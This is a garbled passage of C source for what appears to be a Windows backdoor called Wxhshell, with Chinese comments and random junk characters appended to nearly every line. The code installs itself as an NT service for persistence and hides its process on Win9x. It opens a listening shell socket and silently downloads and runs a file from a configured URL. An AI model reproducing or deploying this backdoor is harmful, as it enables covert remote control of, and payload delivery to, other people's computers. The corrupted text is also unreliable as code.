ULONG UniqueProcessId; FNQR sNi
ULONG InheritedFromUniqueProcessId; 6[iu CMOZ
} PROCESS_BASIC_INFORMATION; |.8lS3C
,7wxVR%Ys
PROCNTQSIP NtQueryInformationProcess; KN41kkN
aWtyY[=
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SL(
WE=H
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 627xR$U~
sE,Q:@H5
HANDLE hProcess; _b ~XBn
PROCESS_BASIC_INFORMATION pbi; ]yR0"<W^xO
'Dh+v3O
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N sUFM
if(NULL == hInst ) return 0; n_8wYiBs(
$
N7J:Q
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rSGt`#E-s.
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GQU9UXe
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /.?m9O^
F
DA0{s
if (!NtQueryInformationProcess) return 0; !a(#G7zA
wK0= I\WN9
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dcK7Dd->
if(!hProcess) return 0; #<^ngoOj
Ax'jNol
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8ec6J*b
."8bW^:
CloseHandle(hProcess); z}L3//
\5k^zGF4o
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y<A593
if(hProcess==NULL) return 0; h3 Bs
|fQl0hL
HMODULE hMod; CB76
char procName[255]; Oyfc!
unsigned long cbNeeded; }!^/<|$=
9/La_:K
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'Z<V(;W
^p'iX4M
CloseHandle(hProcess); 4V$DV!dPQ}
a0s6G3J+9
if(strstr(procName,"services")) return 1; // 以服务启动 f/_RtOSw
Z(' iZ'55F
return 0; // 注册表启动 M- f)\`I
} 0Q2P"1>KT/
09_L^'`
// 主模块 _~^JRC[q
int StartWxhshell(LPSTR lpCmdLine) |.]:#)^X?
{ d"7l<y5
SOCKET wsl; ]#UyYgPk
BOOL val=TRUE; wEMh !jAbv
int port=0; $#bgt
struct sockaddr_in door; #U46Au
FIB 9W@oao
if(wscfg.ws_autoins) Install();
iMr Np
R4?OFhN9
port=atoi(lpCmdLine); "zT#*>U
L(a){<c
if(port<=0) port=wscfg.ws_port; K#O8P+n5[
sQBl9E'!be
WSADATA data; yAge2m]<B
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rPk=9I
r306`)kX
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; qyfw$$X
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d[b(+sHp a
door.sin_family = AF_INET; ?1r>t"e5
door.sin_addr.s_addr = inet_addr("127.0.0.1"); q~3dbj
door.sin_port = htons(port); O<@S,/Q4
U[!x
0M
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $@[`/Uh
closesocket(wsl); Jgf73IX[
return 1; #$<7
} yK1Z&7>J>
]5!}S-uJq
if(listen(wsl,2) == INVALID_SOCKET) { %T.4Aj
closesocket(wsl); `M
"O #
return 1; ? qn0].
} hkSK;
Wxhshell(wsl); kW'xuZ&
WSACleanup(); kfod[*3
2{<5?Op
return 0; ?A[q/n:K
CB<i
} YKjm_)8]w
8=]R6[,fD
// 以NT服务方式启动 :r<uH6x|
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zi^T?<t
{ l9U^[;D
DWORD status = 0; )PM&x
DWORD specificError = 0xfffffff; qRD]Q
sknta0^=2
serviceStatus.dwServiceType = SERVICE_WIN32; L*A9a
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1^bI9 /
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8s,B,s.
serviceStatus.dwWin32ExitCode = 0; Vb=Oz
serviceStatus.dwServiceSpecificExitCode = 0; YS}uJ&WoF
serviceStatus.dwCheckPoint = 0; QzjLKjl7p4
serviceStatus.dwWaitHint = 0; ^%^~:<N
g$++\%k&
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i+I%]
if (hServiceStatusHandle==0) return; LuM[*_8
rek89.p
status = GetLastError(); E^I|%F
if (status!=NO_ERROR) G0Q8"]
{ ]Zfg~K(
serviceStatus.dwCurrentState = SERVICE_STOPPED; REyk,s2"6
serviceStatus.dwCheckPoint = 0; @O;gKFx
serviceStatus.dwWaitHint = 0; {X=gjQ9
serviceStatus.dwWin32ExitCode = status; T.1*32cX
serviceStatus.dwServiceSpecificExitCode = specificError; gFJ.
p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Q % F~
return; *c\:ogd
} L*2YAIG
cx]&ae *
serviceStatus.dwCurrentState = SERVICE_RUNNING; jQAK
?7':=
serviceStatus.dwCheckPoint = 0; __}j
{Buk
serviceStatus.dwWaitHint = 0; mL!)(Bb
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q4gsOxP
} +?xW%omy
~ccwu
// 处理NT服务事件,比如:启动、停止 JEF2fro:Z
VOID WINAPI NTServiceHandler(DWORD fdwControl) K._tCB:
{ /V66P@[>
switch(fdwControl) /65ddt
{ !n<vN@V*3d
case SERVICE_CONTROL_STOP: %R%e0|a
serviceStatus.dwWin32ExitCode = 0; 8pc=Oor2Tv
serviceStatus.dwCurrentState = SERVICE_STOPPED; MGH(= w1
serviceStatus.dwCheckPoint = 0; .xRJ )9q
serviceStatus.dwWaitHint = 0; lyBae?%&
{ U5uO|\+)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mlr\#BO"9
} B~/:["zTh&
return; @M[t|
case SERVICE_CONTROL_PAUSE: }Y/uU"t
serviceStatus.dwCurrentState = SERVICE_PAUSED; Ap&Bwo 8b
break; dgLE/r?
case SERVICE_CONTROL_CONTINUE: oDY
$F%
serviceStatus.dwCurrentState = SERVICE_RUNNING; d ] J5c
break; y{>d&M|
case SERVICE_CONTROL_INTERROGATE: C;#-2^h
break; alQMPQVin
}; VdrqbZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); OK{_WTCe>
} \,YF['Qq
Ga5O&`h
// 标准应用程序主函数 =(ULfz[:
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]8)nIT^EP
{ 5PY,}1`
0n5{Wr$
// 获取操作系统版本 jB+K)NXHL
OsIsNt=GetOsVer(); !Cq2<[K#
GetModuleFileName(NULL,ExeFile,MAX_PATH); !f
7CN<
-;/;d z;
// 从命令行安装 LvlVZjT
if(strpbrk(lpCmdLine,"iI")) Install(); |@{4zoP_N
=Q#}
,T
// 下载执行文件 xgw[)!g^\
if(wscfg.ws_downexe) { {+CW_ce
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !(:R=J_h
WinExec(wscfg.ws_filenam,SW_HIDE); FerQA9K)x
} QnsD,F; /
oPSucz&s
if(!OsIsNt) { RR,gC"cTi
// 如果时win9x,隐藏进程并且设置为注册表启动 -+^E5
HideProc(); zZrUS'8
StartWxhshell(lpCmdLine); clE_a?
} rkdf htpI
else 1P(5+9"s
if(StartFromService()) aS
]bTYJ'
// 以服务方式启动 z8HOig?
StartServiceCtrlDispatcher(DispatchTable); ,>H(l$n
else a[Pyxx_K
// 普通方式启动 E-P;3lS~
StartWxhshell(lpCmdLine); .M3]\I u
n<
npJ*
return 0; >HvgU_
} u9-:/<R#}y
q)Qd+:a7{
&